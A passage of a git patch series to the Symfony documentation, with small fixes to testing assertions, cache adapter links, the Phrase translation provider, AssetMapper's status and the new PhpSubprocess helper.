+``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
+``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function.                                                   ``0``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function.                                                   ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
+===============================  ==========================================================================================================  ================================
 
 .. versionadded:: 6.4
 

From 70499a83e872b09b395e4e4d4bb14647e9623629 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 5 Aug 2023 19:54:43 +0200
Subject: [PATCH 3619/5766] Fix Crawler assertSelectorTextSame documentation

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 38bd9c9577c..754c39a22c2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -984,7 +984,7 @@ Crawler Assertions
     contain the expected text.
 ``assertSelectorTextSame(string $selector, string $text, string $message = '')``
     Asserts that the contents of the first element matching the given
-    selector does (not) equal the expected text.
+    selector does equal the expected text.
 ``assertPageTitleSame(string $expectedTitle, string $message = '')``
     Asserts that the ``<title>`` element is equal to the given title.
 ``assertPageTitleContains(string $expectedTitle, string $message = '')``

From 0f1f5db720251f6f02991a4f8d9ba23273e8455e Mon Sep 17 00:00:00 2001
From: Rylix <54363222+rylixs@users.noreply.github.com>
Date: Sun, 6 Aug 2023 08:26:44 +0200
Subject: [PATCH 3620/5766] [Cache] Add missing backtick

---
 http_cache/expiration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index 692c3db7622..0d666e4cae8 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -92,7 +92,7 @@ The resulting HTTP header will look like this:
 
 .. note::
 
-    The ``expires` option and the ``setExpires()`` method automatically convert
+    The ``expires`` option and the ``setExpires()`` method automatically convert
     the date to the GMT timezone as required by the specification.
 
 Note that in HTTP versions before 1.1 the origin server wasn't required to

From 1304e44b44412897d44167ef322e73ce4d6bd68b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 5 Aug 2023 20:07:23 +0200
Subject: [PATCH 3621/5766] Update components marked experimental

---
 frontend.rst              | 5 ++---
 security/access_token.rst | 4 ----
 2 files changed, 2 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index dc4b97e87c3..446c24cff12 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -13,13 +13,13 @@ fast frontend, *and* enjoy the process:
   things like JSX (React), Vue or TypeScript.
 
 * :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
-  to Webpack Encore that runs entirely in PHP. It's currently experimental.
+  to Webpack Encore that runs entirely in PHP.
 
 ================================  =================  ======================================================
                                   Encore             AssetMapper
 ================================  =================  ======================================================
 Production Ready?                 yes                yes
-Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
+Stable?                           yes                yes
 Requirements                      Node.js            none: pure PHP
 Requires a build step?            yes                no
 Works in all browsers?            yes                yes
@@ -121,7 +121,6 @@ AssetMapper
 AssetMapper is an alternative to Webpack Encore that runs entirely in PHP
 without any complex build steps. It leverages the ``importmap`` feature of
 your browser, which is available in all browsers thanks to a polyfill.
-AssetMapper is currently :doc:`experimental </contributing/code/experimental>`.
 
 :doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
 
diff --git a/security/access_token.rst b/security/access_token.rst
index 922e6906f58..b689949c71a 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -349,10 +349,6 @@ authentication layer on top of the OAuth 2.0 authorization framework. It allows
 to verify the identity of an end user based on the authentication performed by
 an authorization server.
 
-.. caution::
-
-    This feature is experimental and could change or be removed at any time without prior notice.
-
 1) Configure the OidcUserInfoTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c20766f0699b83d4aac77183ca637542585c43d0 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 5 Aug 2023 19:49:04 +0200
Subject: [PATCH 3622/5766] [DomCrawler][FrameworkBundle] Add
 assertAnySelectorText*

---
 testing.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/testing.rst b/testing.rst
index ded7b223465..df24c4f8601 100644
--- a/testing.rst
+++ b/testing.rst
@@ -982,9 +982,15 @@ Crawler Assertions
 ``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
     Asserts that the first element matching the given selector does (not)
     contain the expected text.
+``assertAnySelectorTextContains(string $selector, string $text, string $message = '')``/``assertAnySelectorTextNotContains(string $selector, string $text, string $message = '')``
+    Asserts that any element matching the given selector does (not)
+    contain the expected text.
 ``assertSelectorTextSame(string $selector, string $text, string $message = '')``
     Asserts that the contents of the first element matching the given
     selector does equal the expected text.
+``assertAnySelectorTextSame(string $selector, string $text, string $message = '')``
+    Asserts that the any element matching the given selector does equal the
+    expected text.
 ``assertPageTitleSame(string $expectedTitle, string $message = '')``
     Asserts that the ``<title>`` element is equal to the given title.
 ``assertPageTitleContains(string $expectedTitle, string $message = '')``
@@ -1002,6 +1008,11 @@ Crawler Assertions
 
     The ``assertSelectorCount()`` method was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``assertAnySelectorTextContains()``, ``assertAnySelectorTextNotContains()``
+    and ``assertAnySelectorTextSame()`` were introduced in Symfony 6.4.
+
 .. _mailer-assertions:
 
 Mailer Assertions

From ea9b2a050b2ba2eb7a2cdc3ec42907f8648822f3 Mon Sep 17 00:00:00 2001
From: wickedOne <wicliff.wolda@gmail.com>
Date: Sat, 4 Feb 2023 05:24:25 +0100
Subject: [PATCH 3623/5766] [Translation] phrase translation provider

---
 translation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/translation.rst b/translation.rst
index c994563c92f..48356c83e0e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -600,6 +600,7 @@ Provider              Install with
 Crowdin               ``composer require symfony/crowdin-translation-provider``
 Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
 Lokalise              ``composer require symfony/lokalise-translation-provider``
+Phrase                ``composer require symfony/phrase-translation-provider``
 ====================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
@@ -689,6 +690,14 @@ configure the ``providers`` option:
             ],
         ]);
 
+.. important::
+
+    If you use Phrase as a provider you must configure a user agent in your dsn. See
+    `Identification via User-Agent`_ for reasoning and some examples.
+
+    Also make the locale _names_ in Phrase should be as defined in RFC4646 (e.g. pt-BR rather than pt_BR).
+    Not doing so will result in Phrase creating a new locale for the imported keys.
+
 .. tip::
 
     If you use Lokalise as a provider and a locale format following the `ISO
@@ -698,6 +707,12 @@ configure the ``providers`` option:
     capital letters that specifies the national variety (e.g. "GB" or "US"
     according to `ISO 3166-1 alpha-2`_)).
 
+.. tip::
+
+    The Phrase provider uses Phrase's tag feature to map translations to Symfony's translation
+    domains. If you need some assistance with organising your tags in Phrase, you might want
+    to consider the `Phrase Tag Bundle`_ which provides some commands helping you with that.
+
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1479,3 +1494,5 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
 .. _`Symfony Demo`: https://github.com/symfony/demo
+.. _`Identification via User-Agent`: https://developers.phrase.com/api/#overview--identification-via-user-agent
+.. _`Phrase Tag Bundle`: https://github.com/wickedOne/phrase-tag-bundle

From fbd889cf70ff1f56b27039fa1713259104a727eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Aug 2023 09:52:10 +0200
Subject: [PATCH 3624/5766] Add the versionadded directive

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 48356c83e0e..bd609fdb183 100644
--- a/translation.rst
+++ b/translation.rst
@@ -603,6 +603,10 @@ Lokalise              ``composer require symfony/lokalise-translation-provider``
 Phrase                ``composer require symfony/phrase-translation-provider``
 ====================  ===========================================================
 
+.. versionadded:: 6.4
+
+    The ``Phrase`` translation provider was introduced in Symfony 6.4.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use Loco. First, install it:

From bd4c1f10704a274a7a39e34202c568bca1f0c51c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Aug 2023 09:56:07 +0200
Subject: [PATCH 3625/5766] Minor tweak

---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index a25b6c2fd42..c6c0669d1a4 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -23,7 +23,7 @@ This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kern
 method of the kernel class, which you can override to return a different value.
 
 You can also change the build directory by defining an environment variable
-named ``APP_BUILD_DIR`` whose value is the full path of the build folder.
+named ``APP_BUILD_DIR`` whose value is the absolute path of the build folder.
 
 .. versionadded:: 6.4
 

From c24c0990289968ce1b2530bbd1a70c9798235f23 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 15:11:36 +0200
Subject: [PATCH 3626/5766] add missing link target

---
 components/cache/adapters/pdo_adapter.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 62d4dcc90aa..4920520196f 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -53,3 +53,4 @@ your code.
     class instance), the connection will be lazy-loaded when needed.
 
 .. _`DSN`: https://php.net/manual/pdo.drivers.php
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From afa70926b81843b64d6447d4e6c346a211bd2e82 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:03:38 +0200
Subject: [PATCH 3627/5766] remove Symfony 5 deprecations

---
 components/cache/adapters/pdo_adapter.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 4920520196f..0cf3c141707 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -40,13 +40,6 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
 your code.
 
-.. deprecated:: 5.4
-
-    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
-    and will be removed in Symfony 6.0.
-    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
-
 .. tip::
 
     When passed a `Data Source Name (DSN)`_ string (instead of a database connection

From 074ecc13b94db6aa03ed9f85016c510aeda04a74 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:06:58 +0200
Subject: [PATCH 3628/5766] remove reference to removed cache adapter

---
 cache.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 9e7ffdfba04..8b57eec88af 100644
--- a/cache.rst
+++ b/cache.rst
@@ -101,7 +101,6 @@ The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`
 * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>`
-* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>` (deprecated)
 * :doc:`cache.adapter.doctrine_dbal </components/cache/adapters/doctrine_dbal_adapter>`
 * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>`
 * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>`

From c3d11cf5f6ded52c42a588aefd70a3e6bdc82f22 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:26:00 +0200
Subject: [PATCH 3629/5766] tweak the cache docs

---
 cache.rst                                     | 20 +++++++++----------
 components/cache/adapters/apcu_adapter.rst    |  2 --
 components/cache/adapters/chain_adapter.rst   |  2 --
 .../adapters/couchbasebucket_adapter.rst      |  6 ++----
 .../adapters/couchbasecollection_adapter.rst  |  6 ++----
 .../cache/adapters/doctrine_adapter.rst       |  2 --
 .../cache/adapters/doctrine_dbal_adapter.rst  |  2 --
 .../cache/adapters/filesystem_adapter.rst     | 11 +++++-----
 .../cache/adapters/memcached_adapter.rst      |  6 ++----
 components/cache/adapters/pdo_adapter.rst     |  2 --
 .../cache/adapters/php_files_adapter.rst      |  4 +---
 components/cache/adapters/redis_adapter.rst   |  6 ++----
 components/cache/cache_pools.rst              | 14 ++++++-------
 13 files changed, 31 insertions(+), 52 deletions(-)

diff --git a/cache.rst b/cache.rst
index a22912c36b1..b0d65f52740 100644
--- a/cache.rst
+++ b/cache.rst
@@ -156,19 +156,19 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
         >
             <framework:config>
                 <!--
-                default_doctrine_dbal_provider: Service: cache.doctrine_dbal
-                default_psr6_provider: Service: cache.psr6
-                default_redis_provider: Service: cache.redis
-                default_memcached_provider: Service: cache.memcached
-                default_pdo_provider: Service: cache.pdo
+                default-doctrine-dbal-provider: Service: cache.doctrine_dbal
+                default-psr6-provider: Service: cache.psr6
+                default-redis-provider: Service: cache.redis
+                default-memcached-provider: Service: cache.memcached
+                default-pdo-provider: Service: cache.pdo
                 -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
-                    default_doctrine_dbal_provider="doctrine.dbal.default_connection"
-                    default_psr6_provider="app.my_psr6_service"
-                    default_redis_provider="redis://localhost"
-                    default_memcached_provider="memcached://localhost"
-                    default_pdo_provider="pgsql:host=localhost"
+                    default-doctrine-dbal-provider="doctrine.dbal.default_connection"
+                    default-psr6-provider="app.my_psr6_service"
+                    default-redis-provider="redis://localhost"
+                    default-memcached-provider="memcached://localhost"
+                    default-pdo-provider="pgsql:host=localhost"
                 />
             </framework:config>
         </container>
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index c85050e9b4c..99d76ce5d27 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -1,5 +1,3 @@
-.. _apcu-adapter:
-
 APCu Cache Adapter
 ==================
 
diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index 9a91234096e..586857d2e4d 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -1,5 +1,3 @@
-.. _component-cache-chain-adapter:
-
 Chain Cache Adapter
 ===================
 
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index f1e0c13b2b0..5312371a2bb 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,5 +1,3 @@
-.. _couchbase-adapter:
-
 Couchbase Bucket Cache Adapter
 ==============================
 
@@ -8,8 +6,8 @@ Couchbase Bucket Cache Adapter
     The Couchbase Bucket adapter was introduced in Symfony 5.1.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
-instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index a0c5e28c9a8..66586c816ee 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -1,5 +1,3 @@
-.. _couchbase-collection-adapter:
-
 Couchbase Collection Cache Adapter
 ==================================
 
@@ -8,8 +6,8 @@ Couchbase Collection Cache Adapter
     The Couchbase Collection adapter was introduced in Symfony 5.4.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
-instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 3b894e8388b..b345d310029 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -1,5 +1,3 @@
-.. _doctrine-adapter:
-
 Doctrine Cache Adapter
 ======================
 
diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
index 3b955832147..fc04410bffc 100644
--- a/components/cache/adapters/doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -1,5 +1,3 @@
-.. _doctrine-dbal-adapter:
-
 Doctrine DBAL Cache Adapter
 ===========================
 
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 237ac3bc60e..4c447b3de82 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -1,10 +1,8 @@
-.. _component-cache-filesystem-adapter:
-
 Filesystem Cache Adapter
 ========================
 
 This adapter offers improved application performance for those who cannot install
-tools like :ref:`APCu <apcu-adapter>` or :ref:`Redis <redis-adapter>` in their
+tools like :doc:`APCu </components/cache/adapters/apcu_adapter>` or :doc:`Redis </components/cache/adapters/redis_adapter>` in their
 environment. It stores the cache item expiration and content as regular files in
 a collection of directories on a locally mounted filesystem.
 
@@ -39,9 +37,10 @@ and cache root path as constructor parameters::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
-    (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
-    :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`Doctrine DBAL <doctrine-dbal-adapter>`, :ref:`PDO <pdo-adapter>`) are recommended.
+    (:doc:`Apcu </components/cache/adapters/apcu_adapter>`, :doc:`Memcached </components/cache/adapters/memcached_adapter>`,
+    and :doc:`Redis </components/cache/adapters/redis_adapter>`) or the database adapters
+    (:doc:`Doctrine DBAL </components/cache/adapters/doctrine_dbal_adapter>`, :doc:`PDO </components/cache/adapters/pdo_adapter>`)
+    are recommended.
 
 .. note::
 
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index f2de83251c9..d68d3e3b9ac 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -1,11 +1,9 @@
-.. _memcached-adapter:
-
 Memcached Cache Adapter
 =======================
 
 This adapter stores the values in-memory using one (or more) `Memcached server`_
-instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Redis adapter <redis-adapter>`, it is not limited to the current server's
+instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Redis adapter </components/cache/adapters/redis_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 4920520196f..34815a51eb0 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -1,5 +1,3 @@
-.. _pdo-adapter:
-
 PDO Cache Adapter
 =================
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index dce77657292..efd2cf0e964 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -1,9 +1,7 @@
-.. _component-cache-files-adapter:
-
 PHP Files Cache Adapter
 =======================
 
-Similarly to :ref:`Filesystem Adapter <component-cache-filesystem-adapter>`, this cache
+Similarly to :doc:`Filesystem Adapter </components/cache/adapters/filesystem_adapter>`, this cache
 implementation writes cache entries out to disk, but unlike the Filesystem cache adapter,
 the PHP Files cache adapter writes and reads back these cache files *as native PHP code*.
 For example, caching the value ``['my', 'cached', 'array']`` will write out a cache
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a7530e6d3f0..dc711d6b8e0 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -1,5 +1,3 @@
-.. _redis-adapter:
-
 Redis Cache Adapter
 ===================
 
@@ -12,8 +10,8 @@ Redis Cache Adapter
 
 This adapter stores the values in-memory using one (or more) `Redis server`_ instances.
 
-Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index bd4488f2b48..c92a22a136b 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -192,7 +192,7 @@ Pruning Cache Items
 -------------------
 
 Some cache pools do not include an automated mechanism for pruning expired cache items.
-For example, the :ref:`FilesystemAdapter <component-cache-filesystem-adapter>` cache
+For example, the :doc:`FilesystemAdapter </components/cache/adapters/filesystem_adapter>` cache
 does not remove expired cache items *until an item is explicitly requested and determined to
 be expired*, for example, via a call to ``Psr\Cache\CacheItemPoolInterface::getItem``.
 Under certain workloads, this can cause stale cache entries to persist well past their
@@ -202,11 +202,11 @@ expired cache items.
 This shortcoming has been solved through the introduction of
 :class:`Symfony\\Component\\Cache\\PruneableInterface`, which defines the abstract method
 :method:`Symfony\\Component\\Cache\\PruneableInterface::prune`. The
-:ref:`ChainAdapter <component-cache-chain-adapter>`,
-:ref:`DoctrineDbalAdapter <doctrine-dbal-adapter>`, and
-:ref:`FilesystemAdapter <component-cache-filesystem-adapter>`,
-:ref:`PdoAdapter <pdo-adapter>`, and
-:ref:`PhpFilesAdapter <component-cache-files-adapter>` all implement this new interface,
+:doc:`ChainAdapter </components/cache/adapters/chain_adapter>`,
+:doc:`DoctrineDbalAdapter </components/cache/adapters/doctrine_dbal_adapter>`, and
+:doc:`FilesystemAdapter </components/cache/adapters/filesystem_adapter>`,
+:doc:`PdoAdapter </components/cache/adapters/pdo_adapter>`, and
+:doc:`PhpFilesAdapter </components/cache/adapters/php_files_adapter>` all implement this new interface,
 allowing manual removal of stale cache items::
 
     use Symfony\Component\Cache\Adapter\FilesystemAdapter;
@@ -215,7 +215,7 @@ allowing manual removal of stale cache items::
     // ... do some set and get operations
     $cache->prune();
 
-The :ref:`ChainAdapter <component-cache-chain-adapter>` implementation does not directly
+The :doc:`ChainAdapter </components/cache/adapters/chain_adapter>` implementation does not directly
 contain any pruning logic itself. Instead, when calling the chain adapter's
 :method:`Symfony\\Component\\Cache\\Adapter\\ChainAdapter::prune` method, the call is delegated to all
 its compatible cache adapters (and those that do not implement ``PruneableInterface`` are

From 600fd1829e904415215083621205cf3b22f1a24c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:51:18 +0200
Subject: [PATCH 3630/5766] fix :phpfunction: usages

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f9a9ed4b985..3a5d0c1a01a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1006,8 +1006,8 @@ Option                           Description
 ===============================  ==========================================================================================================  ================================
 ``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
 ``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function.                                                   ``0``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function.                                                   ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
 ``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
 ===============================  ==========================================================================================================  ================================
 

From 6c4bcac4aca5226a0d5ae029fde8e395bc9293d1 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Mon, 7 Aug 2023 20:45:36 +0300
Subject: [PATCH 3631/5766] Documentation bugfix

---
 logging/handlers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 8e70b6a0861..8821113405e 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -27,7 +27,7 @@ To use it, declare it as a service:
             Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
 
             # optionally, configure the handler using the constructor arguments (shown values are default)
-            Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
+            Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler:
                 arguments:
                     $endpoint: "http://127.0.0.1:9200"
                     $index: "monolog"

From b2ea2a0a79c6697dcd30befc85111097da1412d2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 8 Aug 2023 09:15:40 +0200
Subject: [PATCH 3632/5766] [CI] Use DOCtor-RST 1.48.4

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 482c55d7237..5364a72a526 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.48.1
+                uses: docker://oskarstark/doctor-rst:1.48.4
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1242610d9d038b2bdcca404ba2685a69e0387f98 Mon Sep 17 00:00:00 2001
From: Yanick Witschi <yanick.witschi@terminal42.ch>
Date: Fri, 4 Aug 2023 09:20:42 +0200
Subject: [PATCH 3633/5766] [Process] Documented the new `PhpSubprocess`
 feature

---
 components/process.rst | 44 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index 6cce893ab04..f3a2570cdc9 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -410,6 +410,50 @@ instead::
     );
     $process->run();
 
+Executing a PHP child processes with the same configuration
+-----------------------------------------------------------
+
+.. versionadded:: 6.4
+
+    The ``PhpSubprocess`` helper was added in Symfony 6.4.
+
+When you start a PHP process, it's started using its default ``ini`` settings. Let's assume you have a configured
+``memory_limit`` of ``256M`` in your `php.ini` and you want to disable it when running your ``bin/console`` script to access
+the Symfony console without any memory limit. You can then dynamically override it using the ``-d`` command line option
+like so: ``php -d memory_limit=-1 bin/console app:my-command``.
+
+Problem solved. However, let's assume you have an ``app:my-command`` that itself again, starts a PHP child process::
+
+    use Symfony\Component\Process\Process;
+
+    class MyCommand extends Command
+    {
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $childProcess = new Process(['bin/console', 'cache:pool:prune']);
+        }
+    }
+
+What happens now is that PHP will start the ``bin/console cache:pool:prune`` command with a ``memory_limit`` of ``256M``. That's
+because this is your ``ini`` setting.
+
+If you want to make sure that the child processes inherit the dynamically adjusted configuration as well, there is only one
+way to do that: You have to write a temporary ``ini`` file with all the current settings and start the child process using
+``php -c temporary.ini bin/console cache:pool:prune``.
+
+Doing this yourself can be cumbersome but don't worry, Symfony's got you covered! All you need to do is replace the
